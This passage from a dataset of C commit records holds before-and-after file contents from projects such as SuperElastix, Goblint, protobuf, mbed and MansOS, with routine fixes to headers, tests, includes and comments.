RIOT,cladmi\/RIOT,backenklee\/RIOT,tfar\/RIOT,tfar\/RIOT,d00616\/RIOT,hamilton-mote\/RIOT-OS,binarylemon\/RIOT,dkm\/RIOT,thiagohd\/RIOT,rajma996\/RIOT,yogo1212\/RIOT,mziegert\/RIOT,haoyangyu\/RIOT,kYc0o\/RIOT,adrianghc\/RIOT,marcosalm\/RIOT,MarkXYang\/RIOT,miri64\/RIOT,rakendrathapa\/RIOT,Lexandro92\/RIOT-CoAP,JensErdmann\/RIOT,abkam07\/RIOT,rakendrathapa\/RIOT,luciotorre\/RIOT,tdautc19841202\/RIOT,basilfx\/RIOT,dhruvvyas90\/RIOT,dhruvvyas90\/RIOT,malosek\/RIOT,thomaseichinger\/RIOT,daniel-k\/RIOT,zhuoshuguo\/RIOT,basilfx\/RIOT,kb2ma\/RIOT,tdautc19841202\/RIOT,kerneltask\/RIOT,MonsterCode8000\/RIOT,wentaoshang\/RIOT,syin2\/RIOT,gautric\/RIOT,katezilla\/RIOT,MarkXYang\/RIOT,kaspar030\/RIOT,daniel-k\/RIOT,shady33\/RIOT,gbarnett\/RIOT,Lexandro92\/RIOT-CoAP,DipSwitch\/RIOT,shady33\/RIOT,neumodisch\/RIOT,latsku\/RIOT,roberthartung\/RIOT,josephnoir\/RIOT,katezilla\/RIOT,alex1818\/RIOT,brettswann\/RIOT,openkosmosorg\/RIOT,Yonezawa-T2\/RIOT,EmuxEvans\/RIOT,dkm\/RIOT,neumodisch\/RIOT,miri64\/RIOT,ntrtrung\/RIOT,daniel-k\/RIOT,ant9000\/RIOT,Hyungsin\/RIOT-OS,kaspar030\/RIOT,Josar\/RIOT,backenklee\/RIOT,Osblouf\/RIOT,openkosmosorg\/RIOT,kbumsik\/RIOT,mfrey\/RIOT,luciotorre\/RIOT,biboc\/RIOT,hamilton-mote\/RIOT-OS,centurysys\/RIOT,lebrush\/RIOT,rajma996\/RIOT,lebrush\/RIOT,dhruvvyas90\/RIOT,kaleb-himes\/RIOT,ThanhVic\/RIOT,immesys\/RiSyn,RubikonAlpha\/RIOT,PSHIVANI\/Riot-Code,MarkXYang\/RIOT,bartfaizoltan\/RIOT,kerneltask\/RIOT,Osblouf\/RIOT,shady33\/RIOT,OTAkeys\/RIOT,beurdouche\/RIOT,Darredevil\/RIOT,MonsterCode8000\/RIOT,kaspar030\/RIOT,malosek\/RIOT,A-Paul\/RIOT,plushvoxel\/RIOT,tdautc19841202\/RIOT,JensErdmann\/RIOT,gebart\/RIOT,yogo1212\/RIOT,patkan\/RIOT,haoyangyu\/RIOT,gbarnett\/RIOT,syin2\/RIOT,PSHIVANI\/Riot-Code,Yonezawa-T2\/RIOT,katezilla\/RIOT,zhuoshuguo\/RIOT,smlng\/RIOT,RBartz\/RIOT,mziegert\/RIOT,attdona\/RIOT,plushvoxel\/RIOT,LudwigOrtmann\/RIOT,dailab\/RIOT,biboc\/RIOT,basilfx\/RIOT,RubikonAlpha\/RIOT,FrancescoErmini\/RIOT,lebrush\/RIOT,mziegert\/RIOT,Osblouf\/RIOT,mtausig\/RIOT,l3nko\/RIOT,roberthartung\/RIOT,centurysys\/RIOT,khhhh\/RIOT,automote\/RIOT,msolters\/RIOT,gautric\/RIOT,A-Paul\/RIOT,altairpearl\/RIOT,RIOT-OS\/RIOT,Darredevil\/RIOT,rajma996\/RIOT,robixnai\/RIOT,centurysys\/RIOT,DipSwitch\/RIOT,plushvoxel\/RIOT,gautric\/RIOT,ThanhVic\/RIOT,tfar\/RIOT,neumodisch\/RIOT,ant9000\/RIOT,wentaoshang\/RIOT,ThanhVic\/RIOT,ntrtrung\/RIOT,plushvoxel\/RIOT,yogo1212\/RIOT,EmuxEvans\/RIOT,FrancescoErmini\/RIOT,basilfx\/RIOT,centurysys\/RIOT,cladmi\/RIOT,OTAkeys\/RIOT,Lexandro92\/RIOT-CoAP,latsku\/RIOT,msolters\/RIOT,jasonatran\/RIOT,Ell-i\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,Lexandro92\/RIOT-CoAP,Josar\/RIOT,herrfz\/RIOT,Lexandro92\/RIOT-CoAP,ant9000\/RIOT,rajma996\/RIOT,lazytech-org\/RIOT,marcosalm\/RIOT,LudwigKnuepfer\/RIOT,Darredevil\/RIOT,brettswann\/RIOT,MohmadAyman\/RIOT,RubikonAlpha\/RIOT,smlng\/RIOT,shady33\/RIOT,dhruvvyas90\/RIOT,avmelnikoff\/RIOT,beurdouche\/RIOT,robixnai\/RIOT,herrfz\/RIOT,attdona\/RIOT,dailab\/RIOT,khhhh\/RIOT,roberthartung\/RIOT,tfar\/RIOT,BytesGalore\/RIOT,haoyangyu\/RIOT,dkm\/RIOT,rousselk\/RIOT,jasonatran\/RIOT,MarkXYang\/RIOT,lazytech-org\/RIOT,kb2ma\/RIOT,marcosalm\/RIOT,jremmert-phytec-iot\/RIOT"}
{"commit":"7ddebf3b6651e4c18b9ec9692c214429b5e89912","old_file":"Modules\/Components\/DisplacementFieldMeshWarper\/include\/selxModuleDisplacementFieldMeshWarper.h","new_file":"Modules\/Components\/DisplacementFieldMeshWarper\/include\/selxModuleDisplacementFieldMeshWarper.h","old_contents":"","new_contents":"\/*=========================================================================\n*\n*  Copyright Leiden University Medical Center, Erasmus University Medical\n*  Center and contributors\n*\n*  Licensed under the Apache License, Version 2.0 (the \"License\");\n*  you may not use this file except in compliance with the License.\n*  You may obtain a copy of the License at\n*\n*        http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n*\n*  Unless required by applicable law or agreed to in writing, software\n*  distributed under the License is distributed on an \"AS IS\" BASIS,\n*  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n*  See the License for the specific language governing permissions and\n*  limitations under the License.\n*\n*=========================================================================*\/\n\n#include \"selxTypeList.h\"\n\n#include \"selxDisplacementFieldMeshWarperComponent.h\"\n\nnamespace selx\n{\nusing ModuleDisplacementFieldMeshWarperComponents = selx::TypeList<\n  ItkDisplacementFieldMeshWarperComponent< 2, float, float >\n>;\n}\n","subject":"Add displacement mesh warper module header file","message":"ENH: Add displacement mesh warper module header file\n","lang":"C","license":"apache-2.0","repos":"kaspermarstal\/SuperElastix,kaspermarstal\/SuperElastix,SuperElastix\/SuperElastix,SuperElastix\/SuperElastix,kaspermarstal\/SuperElastix,SuperElastix\/SuperElastix,SuperElastix\/SuperElastix"}
{"commit":"b6e07bbe538d0e7620b5f8c4786526f485e9c6fa","old_file":"tests\/addition_tests.c","new_file":"tests\/addition_tests.c","old_contents":"#include <check.h>\n\n#include \"..\/src\/roman_calculator.h\"\n\nSTART_TEST(can_add_by_simple_repetition)\n{\n\tck_assert_str_eq(\"II\", roman_calculator_add(\"I\", \"I\"));\n\tck_assert_str_eq(\"III\", roman_calculator_add(\"I\", \"II\"));\n\tck_assert_str_eq(\"XXX\", roman_calculator_add(\"XX\", \"X\"));\n\tck_assert_str_eq(\"CC\", roman_calculator_add(\"C\", \"C\"));\n\tck_assert_str_eq(\"MMM\", roman_calculator_add(\"M\", \"MM\"));\n}\nEND_TEST\n\nTCase *addition_tests()\n{\n\tTCase *test_case = tcase_create(\"addition tests\");\n\ttcase_add_test(test_case, can_add_by_simple_repetition);\n\treturn test_case;\n}\n","new_contents":"#include <stdlib.h>\n#include <check.h>\n\n#include \"..\/src\/roman_calculator.h\"\n\nvoid verify_addition(const char *left, const char *right, const char *expected_result) {\n\tchar *actual_result = roman_calculator_add(left, right);\n\tck_assert_msg(\n\t\t\tstrcmp(expected_result, actual_result) == 0,\n\t\t\t\"%s + %s: expected %s, but was %s\",\n\t\t\tleft, right, expected_result, actual_result);\t       \n\tfree(actual_result);\n}\n\nSTART_TEST(can_add_by_simple_repetition)\n{\n\tverify_addition(\"I\", \"I\", \"II\");\n\tverify_addition(\"I\", \"II\", \"III\");\n\tverify_addition(\"XX\", \"X\", \"XXX\");\n\tverify_addition(\"C\", \"C\", \"CC\");\n\tverify_addition(\"M\", \"MM\", \"MMM\");\n}\nEND_TEST\n\nTCase *addition_tests()\n{\n\tTCase *test_case = tcase_create(\"addition tests\");\n\ttcase_add_test(test_case, can_add_by_simple_repetition);\n\treturn test_case;\n}\n","subject":"Make sure to free memory in tests, and have better failure messages","message":"Make sure to free memory in tests, and have better failure messages\n","lang":"C","license":"mit","repos":"greghaskins\/roman-calculator.c"}
{"commit":"f58c4ece0ec733f0703325c9d3d38c786258d493","old_file":"tests\/regression\/56-witness\/05-prec-problem.c","new_file":"tests\/regression\/56-witness\/05-prec-problem.c","old_contents":"","new_contents":"\/\/PARAM: --enable witness.yaml.enabled --enable ana.int.interval\n#include <stdlib.h>\n\nint foo(int* ptr1, int* ptr2){\n    int result;\n    if(ptr1 == ptr2){\n        result = 0;\n    } else {\n        result = 1;\n    }\n    \/\/ Look at the generated witness.yml to check whether there contradictory precondition_loop_invariant[s]\n    return result;\n}\n\nint main(){\n    int five = 5;\n    int five2 = 5;\n    int y = foo(&five, &five);\n    int z = foo(&five, &five2);\n    assert(y != z);\n    return 0;\n}\n","subject":"Add example where the generated witnesses are unsound.","message":"Add example where the generated witnesses are unsound.\n\nIn this example, among others, the following precondition_loop_invariants are generated:\n\nloop_invariant:\n    string: result == 1\n    [...]\n  precondition:\n    string: '*ptr1 == 5 && *ptr2 == 5'\n\nand:\n\nloop_invariant:\n    string: result == 0\n    [...]\n  precondition:\n    string: '*ptr1 == 5 && *ptr2 == 5'\n\nTo fix this issue, grouping of precondition_loop_invariants is required.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"231c752d99db285edc7cdfce77297ce63f23f34a","old_file":"src\/tconf.c","new_file":"src\/tconf.c","old_contents":"\/\/ Copyright 2017 Adam Cowdy\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"tconf.h\"\n#include <stdio.h>\n\n#define TCONF_INPUT_SOURCE_FILE 0\n#define TCONF_INPUT_SOURCE_STRING 1\n\ntconf_parser_t *tconf_new_file_parser(FILE *file) {\n    tconf_parser_t *parser = malloc(sizeof(tconf_parser_t));\n    if (parser == NULL) {\n        return NULL;\n    }\n    parser->input_source_tag = TCONF_INPUT_SOURCE_FILE;\n    parser->input.file = file;\n    return parser;\n}\n\ntconf_parser_t *tconf_new_string_parser(char *string) {\n    tconf_parser_t *parser = malloc(sizeof(tconf_parser_t));\n    if (parser == NULL) {\n        return NULL;\n    }\n    parser->input_source_tag = TCONF_INPUT_SOURCE_STRING;\n    parser->input.string = string;\n    return parser;\n}\n","new_contents":"\/\/ Copyright 2017 Adam Cowdy\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"tconf.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\n#define TCONF_INPUT_SOURCE_FILE 0\n#define TCONF_INPUT_SOURCE_STRING 1\n\ntconf_parser_t *tconf_new_file_parser(FILE *file) {\n    tconf_parser_t *parser = malloc(sizeof(tconf_parser_t));\n    if (parser == NULL) {\n        return NULL;\n    }\n    parser->input_source_tag = TCONF_INPUT_SOURCE_FILE;\n    parser->input.file = file;\n    return parser;\n}\n\ntconf_parser_t *tconf_new_string_parser(char *string) {\n    tconf_parser_t *parser = malloc(sizeof(tconf_parser_t));\n    if (parser == NULL) {\n        return NULL;\n    }\n    parser->input_source_tag = TCONF_INPUT_SOURCE_STRING;\n    parser->input.string = string;\n    return parser;\n}\n","subject":"Fix 'implicitly declaring library function 'malloc' ...' warning","message":"Fix 'implicitly declaring library function 'malloc' ...' warning\n","lang":"C","license":"apache-2.0","repos":"Acowdy\/tconf"}
{"commit":"b36bf96bc95556d07cfa3c289beb51a998723d19","old_file":"library\/library_pch.h","new_file":"library\/library_pch.h","old_contents":"#pragma once\n\n#include \"dependencies\/tinyformat\/tinyformat.h\"\n#include <algorithm>\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <boost\/locale.hpp>\n#include <cstdint>\n#include <fstream>\n#include <glm\/glm.hpp>\n#include <glm\/vec2.hpp>\n#include <glm\/vec3.hpp>\n#include <iostream>\n#include <istream>\n#include <iterator>\n#include <limits>\n#include <list>\n#include <map>\n#include <memory>\n#include <ostream>\n#include <random>\n#include <set>\n#include <stdexcept>\n#include <string>\n#include <vector>\n","new_contents":"#pragma once\n\n#include \"dependencies\/tinyformat\/tinyformat.h\"\n#include <algorithm>\n#include <cstdint>\n#include <fstream>\n#include <glm\/glm.hpp>\n#include <glm\/vec2.hpp>\n#include <glm\/vec3.hpp>\n#include <iostream>\n#include <istream>\n#include <iterator>\n#include <limits>\n#include <list>\n#include <map>\n#include <memory>\n#include <ostream>\n#include <random>\n#include <set>\n#include <stdexcept>\n#include <string>\n#include <vector>\n","subject":"Remove some rarely-used headers from library pch","message":"Remove some rarely-used headers from library pch\n","lang":"C","license":"mit","repos":"FranciscoDA\/OpenApoc,Istrebitel\/OpenApoc,steveschnepp\/OpenApoc,FranciscoDA\/OpenApoc,Istrebitel\/OpenApoc,pmprog\/OpenApoc,steveschnepp\/OpenApoc,FranciscoDA\/OpenApoc,pmprog\/OpenApoc"}
{"commit":"2d48efc8e7fd44688f5dcb8bad5b91ffba39c0aa","old_file":"src\/google\/protobuf\/stubs\/atomicops_internals_pnacl.h","new_file":"src\/google\/protobuf\/stubs\/atomicops_internals_pnacl.h","old_contents":"","new_contents":"\/\/ Protocol Buffers - Google's data interchange format\n\/\/ Copyright 2012 Google Inc.  All rights reserved.\n\/\/ http:\/\/code.google.com\/p\/protobuf\/\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/     * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/     * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ This file is an internal atomic implementation, use atomicops.h instead.\n\n#ifndef GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n#define GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n\nnamespace google {\nnamespace protobuf {\nnamespace internal {\n\ninline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr,\n                                         Atomic32 old_value,\n                                         Atomic32 new_value) {\n  return __sync_val_compare_and_swap(ptr, old_value, new_value);\n}\n\ninline void MemoryBarrier() {\n  __sync_synchronize();\n}\n\ninline Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr,\n                                       Atomic32 old_value,\n                                       Atomic32 new_value) {\n  Atomic32 ret = NoBarrier_CompareAndSwap(ptr, old_value, new_value);\n  MemoryBarrier();\n  return ret;\n}\n\ninline void Release_Store(volatile Atomic32* ptr, Atomic32 value) {\n  MemoryBarrier();\n  *ptr = value;\n}\n\ninline Atomic32 Acquire_Load(volatile const Atomic32* ptr) {\n  Atomic32 value = *ptr;\n  MemoryBarrier();\n  return value;\n}\n\n}  \/\/ namespace internal\n}  \/\/ namespace protobuf\n}  \/\/ namespace google\n\n#endif  \/\/ GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n","subject":"Add the missing PNaCl atomicops support.","message":"Add the missing PNaCl atomicops support.\n","lang":"C","license":"bsd-3-clause","repos":"LeslieW\/protobuf,LeslieW\/protobuf,LeslieW\/protobuf,LeslieW\/protobuf"}
{"commit":"c1289c7c8c4b373ca6682c3e33fa1f030b46685c","old_file":"examples\/blink_modular\/Atm_blink.h","new_file":"examples\/blink_modular\/Atm_blink.h","old_contents":"\n#ifndef Atm_blink_h\n#define Atm_blink_h\n\n#include <Automaton.h>\n\nclass Atm_blink: public Machine {\n\n  public:\n    Atm_blink( void ) : Machine() { class_label = \"BLNK\"; };\n\n    short pin;     \n    atm_timer_millis timer;\n\n    enum { LED_ON, LED_OFF } STATES;\n    enum { EVT_TIMER, ELSE } EVENTS;\n\t  enum { ACT_ON, ACT_OFF } ACTIONS;\n\t\n    Atm_blink & begin( int attached_pin, int blinkrate );\n    Atm_blink & onSwitch( swcb_sym_t switch_callback );\n    int event( int id ); \n    void action( int id ); \n};\n\n#endif\r\n","new_contents":"\r\n#ifndef Atm_blink_h\r\n#define Atm_blink_h\r\n\r\n#include <Automaton.h>\r\n\r\nclass Atm_blink: public Machine {\r\n\r\n  public:\r\n    Atm_blink( void ) : Machine() { class_label = \"BLNK\"; };\r\n\r\n    short pin;     \r\n    atm_timer_millis timer;\r\n\r\n    enum { LED_ON, LED_OFF } STATES;\r\n    enum { EVT_TIMER, ELSE } EVENTS;\r\n\t  enum { ACT_ON, ACT_OFF } ACTIONS;\r\n\t\r\n    Atm_blink & begin( int attached_pin, uint32_t blinkrate );\r\n    Atm_blink & onSwitch( swcb_sym_t switch_callback );\r\n    int event( int id ); \r\n    void action( int id ); \r\n};\r\n\r\n#endif\r\n","subject":"Update blink_modular.ino: changed blinkrate argument to uint32_t","message":"Update blink_modular.ino: changed blinkrate argument to uint32_t","lang":"C","license":"mit","repos":"tinkerspy\/Automaton,tinkerspy\/Automaton"}
{"commit":"a0ff95bed586084cdbd693a3f71e902c7aafa7f2","old_file":"targets\/TARGET_NXP\/TARGET_MCUXpresso_MCUS\/TARGET_LPC55S69\/TARGET_LPCXpresso\/PeripheralPins.c","new_file":"targets\/TARGET_NXP\/TARGET_MCUXpresso_MCUS\/TARGET_LPC55S69\/TARGET_LPCXpresso\/PeripheralPins.c","old_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2006-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"PeripheralPins.h\"\n#include \"PeripheralPinMaps.h\"\n","new_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2006-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"PeripheralPins.h\"\n#include \"PeripheralPinMaps.h\"\n\n\/\/ List of GPIOs with limited functionality\nconst PinList *pinmap_gpio_restricted_pins()\n{\n    static const PinName pins[] = {\n        A4,   \/\/ fixed pull-up (for I2C)\n        A5,   \/\/ fixed pull-up (for I2C)\n        D5,   \/\/ fixed pull-up (for LED)\n        D3,   \/\/ fixed pull-up (for LED)\n        D4,   \/\/ fixed pull-up (for LED)\n        D7,   \/\/ fixed pull-up\n        D15,  \/\/ fixed pull-up (for I2C)\n        D14   \/\/ fixed pull-up (for I2C)\n    };\n\n    static const PinList pin_list = {\n        sizeof(pins) \/ sizeof(pins[0]),\n        pins\n    };\n    return &pin_list;\n}\n","subject":"Add restricted GPIO pins for FPGA testing","message":"LPC55S69: Add restricted GPIO pins for FPGA testing\n","lang":"C","license":"apache-2.0","repos":"kjbracey-arm\/mbed,mbedmicro\/mbed,kjbracey-arm\/mbed,kjbracey-arm\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed"}
{"commit":"9ff859ce71b1df689af6df4434ceddd7c107e8b1","old_file":"apps\/Empty\/main.c","new_file":"apps\/Empty\/main.c","old_contents":"\/*\n * Copyright (c) 2008-2012 the MansOS team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *  * Redistributions of source code must retain the above copyright notice,\n *    this list of  conditions and the following disclaimer.\n *  * Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/\/-------------------------------------------\n\/\/ Blink - demo application that blinks a single LED with one second interval\n\/\/-------------------------------------------\n\n#include \"stdmansos.h\"\n\nvoid appMain(void)\n{\n}\n","new_contents":"\/*\n * Copyright (c) 2008-2012 the MansOS team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *  * Redistributions of source code must retain the above copyright notice,\n *    this list of  conditions and the following disclaimer.\n *  * Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/\/-------------------------------------------\n\/\/ Empty - demo application that compiles and does nothing\n\/\/-------------------------------------------\n\n#include \"stdmansos.h\"\n\nvoid appMain(void)\n{\n}\n","subject":"Fix comment for Empty app","message":"Fix comment for Empty app\n","lang":"C","license":"mit","repos":"IECS\/MansOS,IECS\/MansOS,IECS\/MansOS,IECS\/MansOS,IECS\/MansOS,IECS\/MansOS"}
{"commit":"f6cddeef0ef79460b257b86e6ffe5cb57534c28e","old_file":"OneTimePasswordLegacy\/OneTimePasswordLegacy.h","new_file":"OneTimePasswordLegacy\/OneTimePasswordLegacy.h","old_contents":"\/\/\n\/\/  OneTimePasswordLegacy.h\n\/\/  OneTimePasswordLegacy\n\/\/\n\/\/  Created by Matt Rubin on 7\/10\/14.\n\/\/  Copyright (c) 2014 Matt Rubin. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for OneTimePasswordLegacy.\nFOUNDATION_EXPORT double OneTimePasswordLegacyVersionNumber;\n\n\/\/! Project version string for OneTimePasswordLegacy.\nFOUNDATION_EXPORT const unsigned char OneTimePasswordLegacyVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <OneTimePasswordLegacy\/PublicHeader.h>\n#import <OneTimePasswordLegacy\/OTPTypes.h>\n","new_contents":"\/\/\n\/\/  OneTimePasswordLegacy.h\n\/\/  OneTimePasswordLegacy\n\/\/\n\/\/  Created by Matt Rubin on 7\/10\/14.\n\/\/  Copyright (c) 2014 Matt Rubin. All rights reserved.\n\/\/\n\n@import Foundation;\n\n\/\/! Project version number for OneTimePasswordLegacy.\nFOUNDATION_EXPORT double OneTimePasswordLegacyVersionNumber;\n\n\/\/! Project version string for OneTimePasswordLegacy.\nFOUNDATION_EXPORT const unsigned char OneTimePasswordLegacyVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <OneTimePasswordLegacy\/PublicHeader.h>\n#import <OneTimePasswordLegacy\/OTPTypes.h>\n","subject":"Remove unnecessary import of UIKit","message":"Remove unnecessary import of UIKit\n","lang":"C","license":"mit","repos":"mattrubin\/onetimepassword,mattrubin\/onetimepassword"}
{"commit":"4447cbac38eca7657a77e5d96a4c9f9d9710207c","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/**\n * main.c\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n\n#include \"common.h\"\n#include \"argv.h\"\n#include \"daemon.h\"\n#include \"usage.h\"\n\nint main (int argc, char *argv[]) {\n\tint i;\n\n\t\/**\n\t * If the `--help` option was given, display usage details and exit\n\t *\/\n\tif (in_array(GIT_STASHD_USAGE_OPT, argv, argc)) {\n\t\tpfusage();\n\n\t\tprintf(\"%d\\n\", is_dir(\"\/var\/log\"));\n\n\t\texit(EXIT_SUCCESS);\n\t}\n\n\t\/**\n\t * Start daemon process\n\t *\/\n\t\/\/ stashd();\n\n\tfor (i = 0; i < argc; i += 1) {\n\t\tconst char *flag = argv[i];\n\t\tprintf(\"%s\\n\", flag);\n\t}\n\n\tFILE *fp = fopen(GIT_STASHD_LOG_FILE, GIT_STASHD_LOG_MODE);\n\n\tif (!fp) {\n\t\tprintf(\"Error opening file %s\\n\", GIT_STASHD_LOG_FILE);\n\n\t\texit(EXIT_FAILURE);\n\t}\n\n\twhile (1) {\n\t\tfprintf(fp, \"git-stashd started.\\n\");\n\n\t\tsleep(10);\n\n\t\tbreak;\n\t}\n\n\tfprintf(fp, \"git-stashd terminated.\\n\");\n\n\tfclose(fp);\n\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"\/**\n * main.c\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n\n#include \"common.h\"\n#include \"argv.h\"\n#include \"daemon.h\"\n#include \"usage.h\"\n\nint main (int argc, char *argv[]) {\n\t\/**\n\t * If the `--help` option was given, display usage details and exit.\n\t *\/\n\tif (in_array(GIT_STASHD_USAGE_OPT, argv, argc)) {\n\t\tpfusage();\n\n\t\tprintf(\"%d\\n\", is_dir(\"\/var\/log\"));\n\n\t\texit(EXIT_SUCCESS);\n\t}\n\n\t\/**\n\t * If the `--daemon` option was given, start a daemon.\n\t *\/\n\tif (in_array(\"--daemon\", argv, argc)) 